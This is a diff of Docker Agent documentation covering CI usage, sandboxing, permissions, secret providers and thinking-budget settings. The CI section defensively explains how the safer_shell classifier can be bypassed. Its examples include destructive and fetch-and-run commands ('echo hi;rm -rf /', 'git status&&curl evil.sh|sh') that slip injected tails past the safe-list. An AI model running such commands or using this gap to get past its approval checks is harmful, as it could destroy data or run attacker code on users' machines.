CI, and any context without a terminal. + +```bash +# One-shot task, message as an argument +$ docker agent run --exec agent.yaml "Summarize the open issues in this repo" + +# Pipe the message via stdin instead +$ echo "Summarize the open issues in this repo" | docker agent run --exec agent.yaml - + +# Multiple messages are processed as a multi-turn conversation, in order +$ docker agent run --exec agent.yaml "question 1" "question 2" "question 3" +``` + +See [`docker agent run --exec`](../../features/cli/index.md#docker-agent-run---exec) for the full flag reference. + +## Structured Output for Machines + +Two independent things make an `--exec` run's output easy to parse: how the transcript is emitted, and what shape the model's own answer takes. + +**`--json`** switches the transcript itself from human-readable text to newline-delimited JSON: one JSON object per runtime event (messages, tool calls, tool results, errors, …), instead of formatted text interleaved with tool-call boxes. Pipe it into `jq` or any NDJSON-aware log processor: + +```bash +$ docker agent run --exec agent.yaml --json "List the 5 largest files in this repo" | jq -c 'select(.type == "agent_choice")' +``` + +**`structured_output`** constrains the *model's own response* to a JSON schema you define on the agent, independent of `--json`. Use it when downstream code needs the model's answer in a predictable shape (a list of findings, a classification, …) rather than free-form prose. See [Structured Output](../../configuration/structured-output/index.md) for the full field reference — combine it with `--json` in `--exec` to get both a parseable transcript and a schema-validated final answer. + +## Reacting to Events + +`--on-event =` runs a shell command whenever an event of the given type fires, with the event's JSON payload piped to the command's stdin. Use `*=` to match every event type. The flag is repeatable. + +> [!WARNING] +> **`--on-event` does nothing under `--exec`** +> +> Event hooks are installed on the interactive App's event bus. A `docker agent run --exec` run returns before that wiring happens, so `--on-event` is silently a no-op there — no error, no hook ever runs. Use `--on-event` with a normal interactive run or `--lean` (which still installs hooks; it just skips the alternate screen). For a headless `--exec` run, get the same effect by parsing the `--json` NDJSON stream yourself and shelling out on the events you care about — for example `stream_stopped`, which fires when a turn ends normally. + +```bash +# Post a Slack notification when the agent finishes a turn (interactive or --lean only) +$ docker agent run agent.yaml --lean --on-event stream_stopped="./notify-slack.sh" "Fix the failing test" + +# Log every event to a file for later inspection +$ docker agent run agent.yaml --lean --on-event "*=cat >> events.ndjson" "Fix the failing test" + +# Headless equivalent: capture the --json NDJSON stream, then react to it yourself +$ docker agent run --exec agent.yaml --json "Fix the failing test" | tee events.ndjson +$ jq -e 'select(.type == "stream_stopped")' events.ndjson >/dev/null && ./notify-slack.sh +``` + +Hooks run asynchronously and are never waited on: each is spawned detached from the run's own context, and the process exits (`os.Exit`) as soon as the run finishes without waiting for, or signaling, any hook subprocess still in flight. A hook's own failure is logged but never fails the run — and, independent of that, its fate at process exit is unspecified: it may keep running as an orphaned process, or it may be torn down by whatever supervises the job (a CI runner tearing down its container, a shell killing its process group, …), depending on your environment rather than on anything docker-agent guarantees. Don't rely on `--on-event` for anything that must demonstrably finish before the process exits; have the hook script itself detach (e.g. `nohup`/`disown`) and/or write its own completion marker if you need proof it ran. + +## Running Unattended in CI + +Interactively, the TUI prompts for confirmation before a tool call runs unless it's covered by an `allow` permission pattern. There's no one to answer that prompt in CI, so an unattended `--exec` run needs an explicit policy for what may run without asking — otherwise every tool call the model attempts is rejected outright (there's no stdin to prompt, so `--exec` without one just answers "no" on your behalf; see [`--json`'s auto-reject behavior](#structured-output-for-machines) above). + +Two different questions come up here, and it's worth keeping them separate: + +- **What is allowed to run without asking?** — `--yolo`, permission allow-lists, and the `safer_shell` classifier all answer this. +- **What happens if the model runs something it shouldn't have?** — only `--sandbox` answers that one. The rest of this section explains why, and treats that distinction as the whole point. + +### `--sandbox`: the isolation boundary + +For an untrusted or autonomous agent — anything acting without a human watching approvals — **`--sandbox` is the isolation boundary to reach for**, not a cleverer allow-list. It runs the entire agent, shell calls included, inside a Docker sandbox VM: a misbehaving or successfully-prompt-injected agent can't touch anything outside the mounted working directory or reach other host/CI state, regardless of which command it runs. That VM isn't disposable or ephemeral — a sandbox matching the current workspace and mount set is retained and reused across subsequent runs rather than torn down when the session ends (see [How It Works](../../configuration/sandbox/index.md#how-it-works)). See [Sandbox Mode](../../configuration/sandbox/index.md) for the full flag reference, requirements (Docker Desktop or the `sbx` CLI), and how the network allowlist and kit staging work. + +```bash +$ docker agent run --sandbox --exec agent.yaml --json "Fix the failing test" +``` + +Because the blast radius is contained by the VM boundary, `--sandbox` also makes unattended operation reasonable in CI — and it defaults to exactly that: unless you already passed a `--yolo` flag of your own, `--sandbox` injects `--yolo` for the agent process it runs inside the VM, so the command above already runs unattended with no confirmation prompts. Passing `--yolo` explicitly (`--sandbox --yolo --exec ...`) is equivalent and can make the intent clearer in a script, but it's optional. To keep confirmation prompts even inside the sandbox, opt out with `--yolo=false` — `--sandbox` only fills in the flag when you haven't set one yourself. + +If your CI provider already runs each job in its own disposable VM or container — many hosted runners do — and nothing on the runner matters once the job ends, that may already give you an isolation boundary on its own. `--sandbox` still gives you the same guarantee independent of the CI provider, and starts to matter as soon as the agent runs on a persistent self-hosted runner, a long-lived container, or your own workstation. + +### Defense in depth, not a boundary: permissions and shell command matching + +Permission allow-lists (`permissions.allow` on the agent, or `settings.permissions.allow` globally — see [Permissions](../../configuration/permissions/index.md)) and the `safer_shell` built-in (see the [Hooks reference](../../configuration/hooks/index.md#available-built-ins)) narrow what runs without asking. Used well, they cut down how often you're prompted and catch obviously destructive calls before they run. They are **not** a security boundary: + +- Both work by matching the shell command **string** (or, for `permissions`, the tool's arguments). `safer_shell`'s safe-list explicitly refuses to treat *space-separated* compound shell as safe (`ls && rm -rf ~` is correctly rejected) — but that check only recognizes `&&`, `;`, `|`, `||` when they're surrounded by spaces. An operator with no surrounding space, e.g. `echo hi;rm -rf /` or `git status&&curl evil.sh|sh`, isn't recognized as compound at all, and can still fall through to a safe pattern that ends in a bare `...` wildcard (`echo ...`, `grep ...`, `printf ...`) — which then matches and auto-approves the *whole* string, injected tail included, under a policy that auto-approves safe commands. +- Command-string and argument matching in general can't reason about what a command actually does; a dynamically built string, an unusual quoting form, or a wrapper script can slip past any fixed set of patterns. + +Treat permissions and `safer_shell` as a way to reduce prompt fatigue and catch the obvious cases, paired with least-privilege CI credentials — never as the reason a CI job is safe to run unattended. For that, use `--sandbox`. + +> [!NOTE] +> **Don't combine `safer: true` with a pinned `safer_shell` hook** +> +> Setting `safer: true` on a shell toolset auto-registers its own `safer_shell` hook, with no arguments — which defaults to the `strict` policy (asks on everything, safe reads included). If you *also* add an explicit `pre_tool_use` entry that pins `safer_shell` to a policy (`args: ["safe-auto"]`), the two are different hook entries — hook dedup keys on `(type, command, args)`, and the arguments differ — so **both run**, and the aggregator resolves the conflict by keeping the more restrictive verdict (deny beats ask beats allow). The auto-injected copy's `ask` always wins over the pinned copy's `allow`, so safe reads still get asked about, and are rejected outright under `--exec --json` (no stdin to answer). Separately, even a hook that *does* return `allow` only bypasses the approval pipeline when the session's safety policy is already `safe-auto` — a field the HTTP API accepts on session create, but not something `docker agent run` exposes as a flag; from the CLI, `--yolo` sets the policy to `unsafe` (which makes `safer_shell` a no-op) and every other run defaults to `strict`. Net effect: there's no `docker agent run` recipe that reliably auto-approves "safe" shell reads today. Use `safer: true` on its own for its intended purpose — forcing confirmation on destructive commands under the session's ambient policy (see [`examples/shell_safer.yaml`](https://github.com/docker/docker-agent/blob/main/examples/shell_safer.yaml)) — and reach for `--sandbox` when you actually need unattended auto-approval. + +> [!WARNING] +> **`--yolo` without `--sandbox` runs untrusted, unattended code with no boundary** +> +> A CI job is exactly the environment where a runaway or misled agent does the most damage before anyone notices — no one is at the keyboard to catch a bad `shell` call before it runs, and, per above, a permission allow-list or `safer_shell` can't be trusted to catch everything either. If you can't add `--sandbox`, prefer a permission allow-list scoped to what the job actually needs over blanket `--yolo`, and budget for the credentials and blast radius of the agent's toolsets as if the job itself were compromised — see [`examples/permissions.yaml`](https://github.com/docker/docker-agent/blob/main/examples/permissions.yaml) for a worked allow/deny list. + +> [!NOTE] +> **A worktree is not a security boundary either** +> +> [`--worktree`](../../features/cli/index.md#docker-agent-run) isolates *which branch and checkout* the agent modifies — it gives the agent its own working directory and branch so your primary checkout stays untouched — but the shell toolset still runs as a native process on the host, and the worktree shares the repository's underlying object store with the rest of your checkouts. It's checkout isolation, not a security boundary. Only `--sandbox` provides that. + +## Providing Secrets in CI + +Never put provider API keys or MCP tokens in the agent config file. Inject them as environment variables from your CI provider's secret store, or via `--env-from-file` with a file materialized at job start. See [Managing Secrets](../secrets/index.md) for every supported method, including Docker Compose secrets and 1Password references — both of which map cleanly onto CI secret stores. + +## Disabling Telemetry + +Docker Agent's anonymous usage telemetry is enabled by default. In CI you may want it off: + +```bash +$ TELEMETRY_ENABLED=false docker agent run --exec agent.yaml "..." +``` + +See [Telemetry](../../community/telemetry/index.md) for exactly what is (and isn't) collected. + +## Example: GitHub Actions + +A bare OCI registry reference (`agentcatalog/coder`) has no local config you control, so a security-sensitive CI job should check in a small agent config instead. This example runs a checked-in review agent non-interactively against the repository being built: + +```yaml +# .github/agents/review-agent.yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Reviews the changes in a pull request for bugs and security issues + instruction: Review the changes in this PR for bugs and security issues. + toolsets: + - type: shell +``` + +```yaml +# .github/workflows/agent-review.yml +name: Agent code review +on: + pull_request: + +permissions: + contents: read + +jobs: + review: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + persist-credentials: false + + - name: Install docker-agent + run: | + curl -L "https://github.com/docker/docker-agent/releases/latest/download/docker-agent-linux-amd64" -o docker-agent + chmod +x docker-agent + sudo mv docker-agent /usr/local/bin/ + + - name: Run the review agent + env: + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} + TELEMETRY_ENABLED: "false" + run: | + docker-agent run --exec --yolo .github/agents/review-agent.yaml --json \ + "Review the changes in this PR for bugs and security issues" \ + | tee agent-events.ndjson + + - name: Upload transcript + if: always() + uses: actions/upload-artifact@v4 + with: + name: agent-events + path: agent-events.ndjson +``` + +This job auto-approves every shell call the review agent makes (`--yolo`) rather than trying to allow-list every `git`/`grep`/`cat` invocation a code review might need — the read surface for "review this diff" is open-ended, and a fixed pattern list is exactly the kind of shell-matching boundary the [previous section](#defense-in-depth-not-a-boundary-permissions-and-shell-command-matching) says not to rely on. If your CI environment can run `--sandbox` (a self-hosted runner with Docker Desktop, or an `sbx`-enabled image — GitHub-hosted `ubuntu-latest` ships neither out of the box), add it and get a real isolation boundary around that `--yolo`: + +```bash +$ docker-agent run --sandbox --exec --yolo .github/agents/review-agent.yaml --json "..." +``` + +Without `--sandbox`, this workflow's safety instead rests on least-privilege secrets (only `ANTHROPIC_API_KEY` is injected — no repo-write token), the top-level `permissions: contents: read` block and `persist-credentials: false` on the checkout step (which together mean the job never holds a write-capable `GITHUB_TOKEN` and never persists one to disk for `git` to pick up), and the job running on a GitHub-hosted, ephemeral runner that's discarded after the job. + +This example omits the GitHub MCP toolset (`docker:github-official`) shown in earlier revisions of this guide: that server requires a `GITHUB_PERSONAL_ACCESS_TOKEN` this workflow doesn't provide, and — because the toolset above has no `name:` field — its tools would be exposed under their raw MCP names (`get_file_contents`, `search_code`, …) rather than a `github_*`-style qualified name, so permission patterns written against that prefix wouldn't match anything anyway. If your review agent needs GitHub API access, add the toolset back with an explicit `name: github`, wire `GITHUB_PERSONAL_ACCESS_TOKEN` through `env:` from a repository secret, and write any `permissions` patterns against the tool names it actually exposes (`github_get_*` only works once the toolset carries that `name:`). + +Swap the model, toolsets, and provider secret for your own — the shape (checkout, install the binary, run `--exec` with `--json` against a checked-in config, upload the transcript) generalizes to any CI provider that can run a shell step. diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/secrets/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/secrets/index.md index 97b7c137d570..45f55f9e69a8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/guides/secrets/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/guides/secrets/index.md @@ -1,36 +1,37 @@ --- title: "Managing Secrets" -description: "How to securely provide API keys and credentials to docker-agent using environment variables, env files, Docker Compose secrets, macOS Keychain, pass, and 1Password references." +description: "How to securely provide API keys and credentials to Docker Agent using environment variables, env files, Docker Compose secrets, and 1Password references." keywords: docker agent, ai agents, guides, managing secrets weight: 30 canonical: https://docs.docker.com/ai/docker-agent/guides/secrets/ --- -_How to securely provide API keys and credentials to docker-agent._ +_How to securely provide API keys and credentials to Docker Agent._ ## Overview -docker-agent needs API keys to talk to model providers (OpenAI, Anthropic, etc.) and MCP tool servers (GitHub, Slack, etc.). These keys are **never stored in config files**. Instead, docker-agent resolves them at runtime through a chain of secret providers, checked in order (see `pkg/environment/default.go`): +Docker Agent needs API keys to talk to model providers (OpenAI, Anthropic, etc.) and MCP tool servers (GitHub, Slack, etc.). These keys are **never stored in config files**. Instead, Docker Agent resolves them at runtime through a chain of secret providers, checked in order (see `pkg/environment/default.go`): | Priority | Provider | Description | | --- | --- | --- | | 1 | [Environment variables](#environment-variables) | `export OPENAI_API_KEY=sk-...` | | 2 | [Docker Compose secrets](#docker-compose-secrets) | Files in `/run/secrets/` | -| 3 | [docker agent env file](#docker-agent-env-file) | `~/.config/cagent/.env`, written by `docker agent setup` | +| 3 | [Docker Agent env file](#docker-agent-env-file) | `~/.config/cagent/.env`, written by `docker agent setup` | | 4 | [Credential helper](#credential-helper) | Custom command declared in `~/.config/cagent/config.yaml` under `credential_helper:` | | 5 | [Docker Desktop](#docker-desktop) | Secrets stored by the Docker Desktop backend (no setup on a Desktop install) | -| 6 | [`pass` password manager](#pass-password-manager) | `pass insert OPENAI_API_KEY` | -| 7 | [macOS Keychain](#macos-keychain) | `security add-generic-password` | -The first provider that has a value wins. You can mix and match — for example, use environment variables for one key and Keychain for another. +The first provider that has a value wins. You can mix and match — for example, use environment variables for one key and the Docker Agent env file for another. -Whatever provider returns the value, if that value looks like a [1Password secret reference](#1password-references) (it starts with `op://`), docker-agent resolves it through the `op` CLI before handing it to a model provider or tool. +> [!NOTE] +> Older Docker Agent versions could also read secrets from the macOS Keychain and the `pass` password manager. These sources are no longer consulted: migrate any keys stored there to one of the sources above, e.g. by re-running `docker agent setup`. -When docker-agent runs inside a Docker sandbox (detected via `SANDBOX_VM_ID`), a sandbox token provider is prepended to the chain so that `DOCKER_TOKEN` is read from a continuously-refreshed file instead of a stale environment variable. +Whatever provider returns the value, if that value looks like a [1Password secret reference](#1password-references) (it starts with `op://`), Docker Agent resolves it through the `op` CLI before handing it to a model provider or tool. + +When Docker Agent runs inside a Docker sandbox (detected via `SANDBOX_VM_ID`), a sandbox token provider is prepended to the chain so that `DOCKER_TOKEN` is read from a continuously-refreshed file instead of a stale environment variable. ## Environment Variables -The simplest approach. Set variables in your shell before running docker-agent: +The simplest approach. Set variables in your shell before running Docker Agent: ```bash export OPENAI_API_KEY=sk-... @@ -62,7 +63,7 @@ toolsets: ## Env Files -For convenience, you can store secrets in a `.env` file and pass it to docker-agent with `--env-from-file`: +For convenience, you can store secrets in a `.env` file and pass it to Docker Agent with `--env-from-file`: ```bash # .env @@ -85,7 +86,7 @@ The file format supports: > [!IMPORTANT] > Add `.env` to your `.gitignore` to avoid committing secrets to version control. -## docker agent env file +## Docker Agent env file A `.env` file (same format as above) at `~/.config/cagent/.env` is read automatically on every run — no `--env-from-file` flag needed. It is where [`docker agent setup`](../../features/cli/index.md#docker-agent-setup) stores API keys when you choose the env-file location, and you can edit it by hand: @@ -94,11 +95,11 @@ A `.env` file (same format as above) at `~/.config/cagent/.env` is read automati OPENAI_API_KEY=sk-... ``` -The file is created with owner-only permissions (`0600`), but the values are stored in plain text: prefer the OS keychain or `pass` when available. +The file is created with owner-only permissions (`0600`), but the values are stored in plain text. ## Docker Compose Secrets -When running docker-agent in a container with Docker Compose, you can use [Compose secrets](https://docs.docker.com/compose/how-tos/use-secrets/) to inject credentials securely. Compose mounts secrets as files under `/run/secrets/`, and docker-agent reads from this location automatically. +When running Docker Agent in a container with Docker Compose, you can use [Compose secrets](https://docs.docker.com/compose/how-tos/use-secrets/) to inject credentials securely. Compose mounts secrets as files under `/run/secrets/`, and Docker Agent reads from this location automatically. ### From a file @@ -124,7 +125,7 @@ secrets: file: ./.anthropic_api_key ``` -Docker Compose mounts the file as `/run/secrets/ANTHROPIC_API_KEY`. docker-agent picks it up with no extra configuration. +Docker Compose mounts the file as `/run/secrets/ANTHROPIC_API_KEY`. Docker Agent picks it up with no extra configuration. ### From a host environment variable @@ -166,7 +167,7 @@ secrets: ## Credential Helper -docker-agent can shell out to an external credential helper you define in your user config. This is useful when your organisation already has a secrets daemon you want to reuse (HashiCorp Vault, 1Password CLI, `bitwarden-cli`, etc.). +Docker Agent can shell out to an external credential helper you define in your user config. This is useful when your organisation already has a secrets daemon you want to reuse (HashiCorp Vault, 1Password CLI, `bitwarden-cli`, etc.). Declare the helper in `~/.config/cagent/config.yaml`: @@ -181,57 +182,11 @@ The command is invoked with the variable name appended as the final argument, an ## Docker Desktop -On machines where Docker Desktop is installed, docker-agent queries Docker Desktop's backend for secrets stored against your signed-in Docker account. This is transparent — no extra configuration — and it is how signed-in Docker users get provider API keys without setting any environment variables. - -## `pass` Password Manager - -docker-agent integrates with [`pass`](https://www.passwordstore.org/), the standard Unix password manager. Secrets are stored as GPG-encrypted files in `~/.password-store/`. - -### Store a secret - -```bash -pass insert ANTHROPIC_API_KEY -``` - -The entry name must match the environment variable name that docker-agent expects. - -### Verify it works - -```bash -pass show ANTHROPIC_API_KEY -``` - -Once `pass` is set up, docker-agent resolves secrets from it automatically. - -## macOS Keychain - -On macOS, docker-agent can read secrets from the system Keychain. This is useful for local development — you store the key once and it's available across all your projects. - -### Store a secret - -```bash -security add-generic-password -a "$USER" -s ANTHROPIC_API_KEY -w "sk-ant-your-key-here" -``` - -The `-s` (service name) must match the environment variable name that docker-agent expects. - -### Verify it works - -```bash -security find-generic-password -s ANTHROPIC_API_KEY -w -``` - -### Delete a secret - -```bash -security delete-generic-password -s ANTHROPIC_API_KEY -``` - -Once stored, docker-agent finds the secret automatically — no flags or config needed. +On machines where Docker Desktop is installed, Docker Agent queries Docker Desktop's backend for secrets stored against your signed-in Docker account. This is transparent — no extra configuration — and it is how signed-in Docker users get provider API keys without setting any environment variables. ## 1Password References -Any secret value resolved through the chain above can be a **1Password secret reference** instead of the literal secret. If the value starts with `op://`, docker-agent resolves it by invoking the [1Password CLI](https://developer.1password.com/docs/cli/) (`op read `) and uses the result. +Any secret value resolved through the chain above can be a **1Password secret reference** instead of the literal secret. If the value starts with `op://`, Docker Agent resolves it by invoking the [1Password CLI](https://developer.1password.com/docs/cli/) (`op read `) and uses the result. This works with every provider — most commonly an environment variable or env file: @@ -245,7 +200,7 @@ References follow the `op:////` format. Make sure the `op` C > [!WARNING] > **Behaviour when resolution fails** > -> If the value starts with `op://` but the `op` CLI is not installed, or the reference cannot be read (not signed in, wrong path, locked vault), docker-agent logs a warning and uses an **empty value** — it never forwards the raw `op://` reference to a model provider or tool. Resolved references (and deterministic failures) are cached for the lifetime of the run; transient failures such as a cancelled lookup are not cached, so a later attempt can retry. +> If the value starts with `op://` but the `op` CLI is not installed, or the reference cannot be read (not signed in, wrong path, locked vault), Docker Agent logs a warning and uses an **empty value** — it never forwards the raw `op://` reference to a model provider or tool. Resolved references (and deterministic failures) are cached for the lifetime of the run; transient failures such as a cancelled lookup are not cached, so a later attempt can retry. ## Choosing a Method @@ -253,17 +208,16 @@ References follow the `op:////` format. Make sure the `op` C | --- | --- | --- | | Environment variables | Quick local development, scripts | Low | | Env files | Team projects, multiple keys | Low | -| docker agent env file | Keys used across all projects, written by `docker agent setup` | Low | +| Docker Agent env file | Keys used across all projects, written by `docker agent setup` | Low | | Docker Compose secrets | Containerized deployments, CI/CD | Medium | -| `pass` | Linux/macOS, GPG-based workflows | Medium | -| macOS Keychain | macOS local development | Low | +| Credential helper | Reusing an existing secrets daemon (Vault, 1Password CLI, ...) | Medium | | 1Password references (`op://`) | Teams already using 1Password | Low | -You can combine methods. For example, store long-lived provider keys in macOS Keychain and pass project-specific MCP tokens via env files. +You can combine methods. For example, store long-lived provider keys in the Docker Agent env file and pass project-specific MCP tokens via env files. ## Preventing Secret Leaks -Provider keys live in the secret store and are passed to docker-agent through the chain above — the agent itself never receives them as input. But the **content of a conversation** can still leak credentials: a user pasting a token, a tool returning a config file with embedded keys, a transcript dumped into a prompt. +Provider keys live in the secret store and are passed to Docker Agent through the chain above — the agent itself never receives them as input. But the **content of a conversation** can still leak credentials: a user pasting a token, a tool returning a config file with embedded keys, a transcript dumped into a prompt. For that defense-in-depth case, set `redact_secrets: true` on an agent. It scrubs detected secrets out of: diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/thinking/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/thinking/index.md index 1e43db54627c..ef7018594fbd 100644 --- a/_vendor/github.com/docker/docker-agent/docs/guides/thinking/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/guides/thinking/index.md @@ -12,7 +12,7 @@ _Control how much a model reasons before responding. Works across OpenAI, Anthro Several modern models support an extended reasoning phase that happens before they produce visible output. During this phase the model plans, evaluates options, and works through the problem — internally, not shown in the response by default. This typically improves accuracy on complex tasks like coding, math, and multi-step planning, at the cost of higher token usage and latency. -docker-agent exposes this through a single `thinking_budget` field on any named model. The value format differs slightly by provider, but the semantics are the same: higher effort means more thorough reasoning. +Docker Agent exposes this through a single `thinking_budget` field on any named model. The value format differs slightly by provider, but the semantics are the same: higher effort means more thorough reasoning. > [!NOTE] > **Think tool vs. thinking budget** @@ -63,7 +63,7 @@ Token counts, `adaptive`, and `adaptive/` are rejected with a configurat > [!WARNING] > **Tokens and max_tokens** > -> Older OpenAI reasoning models always reason internally — even with `thinking_budget: none` there are hidden reasoning tokens that count against `max_tokens`. On gpt-5.6+ (Sol/Terra/Luna), `none` is a real API value that genuinely disables reasoning. docker-agent automatically raises the output-token floor for its internal low-effort calls (e.g. title generation) so hidden reasoning cannot starve visible text output. +> Older OpenAI reasoning models always reason internally — even with `thinking_budget: none` there are hidden reasoning tokens that count against `max_tokens`. On gpt-5.6+ (Sol/Terra/Luna), `none` is a real API value that genuinely disables reasoning. Docker Agent automatically raises the output-token floor for its internal low-effort calls (e.g. title generation) so hidden reasoning cannot starve visible text output. ## Anthropic @@ -81,7 +81,7 @@ models: thinking_budget: 16384 # tokens reserved for internal reasoning ``` -docker-agent auto-adjusts `max_tokens` when you set a thinking budget but leave `max_tokens` at its default. If you set `max_tokens` explicitly, it must be greater than `thinking_budget`. +Docker Agent auto-adjusts `max_tokens` when you set a thinking budget but leave `max_tokens` at its default. If you set `max_tokens` explicitly, it must be greater than `thinking_budget`. ### Adaptive thinking (Opus 4.6+ and Sonnet 4.6) @@ -130,7 +130,7 @@ thinking_budget: none # or 0 ### Interleaved thinking -Interleaved thinking lets the model reason between tool calls — useful for complex agentic tasks. docker-agent auto-enables it whenever a thinking budget is configured on a Claude model, so you only need to set it explicitly to turn it off: +Interleaved thinking lets the model reason between tool calls — useful for complex agentic tasks. Docker Agent auto-enables it whenever a thinking budget is configured on a Claude model, so you only need to set it explicitly to turn it off: ```yaml models: @@ -146,11 +146,11 @@ models: > [!NOTE] > **Temperature and top_p** > -> When extended thinking is enabled, Anthropic requires `temperature=1.0`. docker-agent automatically suppresses any `temperature` or `top_p` settings you have configured — they are silently ignored while thinking is active. +> When extended thinking is enabled, Anthropic requires `temperature=1.0`. Docker Agent automatically suppresses any `temperature` or `top_p` settings you have configured — they are silently ignored while thinking is active. ### Thinking display -Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default at the API level. To keep reasoning visible, docker-agent requests `summarized` thinking whenever adaptive/effort-based thinking is used without an explicit `thinking_display`. Use `thinking_display` in `provider_opts` to override: +Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default at the API level. To keep reasoning visible, Docker Agent requests `summarized` thinking whenever adaptive/effort-based thinking is used without an explicit `thinking_display`. Use `thinking_display` in `provider_opts` to override: ```yaml models: @@ -164,7 +164,7 @@ models: | Value | Behavior | | ------------ | ------------------------------------------------------------------------------------- | -| `summarized` | Thinking blocks returned with a text summary (docker-agent default for adaptive thinking). | +| `summarized` | Thinking blocks returned with a text summary (Docker Agent default for adaptive thinking). | | `display` | Full thinking blocks returned for display. | | `omitted` | Thinking blocks hidden — only the signature is returned. | @@ -254,7 +254,7 @@ models: # interleaved_thinking is auto-enabled when thinking_budget is set ``` -**Claude Opus 4.6+ on Bedrock requires adaptive thinking** — these models reject `thinking.type=enabled` (token budgets). Configure them with `adaptive` or `adaptive/`; docker-agent auto-coerces token budgets and effort levels on these models with a warning: +**Claude Opus 4.6+ on Bedrock requires adaptive thinking** — these models reject `thinking.type=enabled` (token budgets). Configure them with `adaptive` or `adaptive/`; Docker Agent auto-coerces token budgets and effort levels on these models with a warning: ```yaml models: @@ -269,7 +269,7 @@ models: > [!WARNING] > **Bedrock thinking requirements** > -> Bedrock Claude requires token-based `thinking_budget` values to be ≥ 1024 and less than `max_tokens`. docker-agent logs a warning and ignores the budget if either condition is violated. Interleaved thinking requires the `interleaved-thinking-2025-05-14` beta header, which docker-agent adds automatically; it is auto-enabled whenever a token thinking budget is set on a Bedrock-hosted Claude model (adaptive thinking interleaves on its own). +> Bedrock Claude requires token-based `thinking_budget` values to be ≥ 1024 and less than `max_tokens`. Docker Agent logs a warning and ignores the budget if either condition is violated. Interleaved thinking requires the `interleaved-thinking-2025-05-14` beta header, which Docker Agent adds automatically; it is auto-enabled whenever a token thinking budget is set on a Bedrock-hosted Claude model (adaptive thinking interleaves on its own). ## Docker Model Runner (local models) @@ -291,7 +291,7 @@ See the [Docker Model Runner provider page](../../providers/dmr/index.md) for de ## xAI (Grok) and Mistral -xAI and Mistral run through docker-agent's OpenAI-compatible client, but the `reasoning_effort` parameter is only sent for OpenAI reasoning model names (o-series, gpt-5). **Setting `thinking_budget` on Grok or Mistral models currently has no effect** — the value is accepted by config validation but never sent to the API. +xAI and Mistral run through Docker Agent's OpenAI-compatible client, but the `reasoning_effort` parameter is only sent for OpenAI reasoning model names (o-series, gpt-5). **Setting `thinking_budget` on Grok or Mistral models currently has no effect** — the value is accepted by config validation but never sent to the API. Grok and Mistral reasoning models (e.g. `grok-3-mini`, `magistral`) manage reasoning on their own; for non-reasoning models, consider the [think tool](../../tools/think/index.md) instead. @@ -312,7 +312,7 @@ models: thinking_budget: 0 ``` -`none` and `0` clear docker-agent's thinking configuration — no thinking parameter is sent. Models that always reason (OpenAI o-series, gpt-5 through gpt-5.5, Gemini 3) then fall back to the API's default behavior and still reason internally; gpt-5.6+ (Sol/Terra/Luna) sends `none` as a real API value that genuinely disables reasoning. Models with optional thinking (Gemini 2.5, Claude, local models) are also fully disabled. +`none` and `0` clear Docker Agent's thinking configuration — no thinking parameter is sent. Models that always reason (OpenAI o-series, gpt-5 through gpt-5.5, Gemini 3) then fall back to the API's default behavior and still reason internally; gpt-5.6+ (Sol/Terra/Luna) sends `none` as a real API value that genuinely disables reasoning. Models with optional thinking (Gemini 2.5, Claude, local models) are also fully disabled. ## Choosing an Effort Level @@ -334,6 +334,7 @@ While running in the TUI, press **Shift+Tab** to cycle the thinking effort level - This applies as a session override — it is **not** saved to the config file. The next session starts from the level defined in your YAML. - For models that don't support reasoning, and for remote runtimes, Shift+Tab is a no-op and an informational message is displayed. - `/effort` only accepts levels the current model supports; requesting an unsupported level shows the model's supported list. Like Shift+Tab, it is unavailable for non-reasoning models and remote runtimes. +- Press Tab after `/effort` and a space to complete a level from the current model's supported range; it lists the same levels the picker shows (and, like the picker, offers no candidates for non-reasoning models or remote runtimes). ## Sharing Thinking Config Across Models diff --git a/_vendor/github.com/docker/docker-agent/docs/guides/tips/index.md b/_vendor/github.com/docker/docker-agent/docs/guides/tips/index.md index af6d01c52db5..bde25ee34a7c 100644 --- a/_vendor/github.com/docker/docker-agent/docs/guides/tips/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/guides/tips/index.md @@ -14,7 +14,7 @@ _Expert guidance for building effective, efficient, and secure agents._ ### Auto Mode for Quick Start -Don't have a config file? docker-agent can automatically detect your available API keys and use an appropriate model: +Don't have a config file? Docker Agent can automatically detect your available API keys and use an appropriate model: ```bash # Automatically uses the best available provider @@ -56,7 +56,7 @@ agents: ### Model Aliases Are Auto-Pinned -docker-agent automatically resolves model aliases to their latest pinned versions. This ensures reproducible behavior: +Docker Agent automatically resolves model aliases to their latest pinned versions. This ensures reproducible behavior: ```yaml # You write: @@ -375,7 +375,7 @@ settings: default_model: anthropic/claude-sonnet-4-5 ``` -This model is used when you run `docker agent run` without a config file. +This model is used by the built-in default agent when you run `docker agent run` without a config argument and no project-level `docker-agent.yaml`, `docker-agent.yml`, or `docker-agent.hcl` exists. ### Get Desktop Notifications with Hooks @@ -402,7 +402,7 @@ On Linux, replace `osascript` with `notify-send`: command: notify-send "docker-agent" "Agent needs your input" ``` -Hooks inherit docker-agent's environment, so this works as-is from a desktop terminal. In detached contexts (SSH, tmux started outside your desktop session, containers), `notify-send` needs the session's `DISPLAY` and `DBUS_SESSION_BUS_ADDRESS` to reach the notification daemon, and fails silently without them. Pass them with the per-hook `env` option: +Hooks inherit Docker Agent's environment, so this works as-is from a desktop terminal. In detached contexts (SSH, tmux started outside your desktop session, containers), `notify-send` needs the session's `DISPLAY` and `DBUS_SESSION_BUS_ADDRESS` to reach the notification daemon, and fails silently without them. Pass them with the per-hook `env` option: ```yaml on_user_input: @@ -426,13 +426,13 @@ settings: osascript -e "display notification \"$MESSAGE\" with title \"docker-agent\"" ``` -If a sound is enough, set `settings: { sound: true }` instead — docker-agent plays a failure sound when a task errors, and a success sound when a task that ran longer than `sound_threshold` seconds (default 10) completes. +If a sound is enough, set `settings: { sound: true }` instead — Docker Agent plays a failure sound when a task errors, and a success sound when a task that ran longer than `sound_threshold` seconds (default 10) completes. 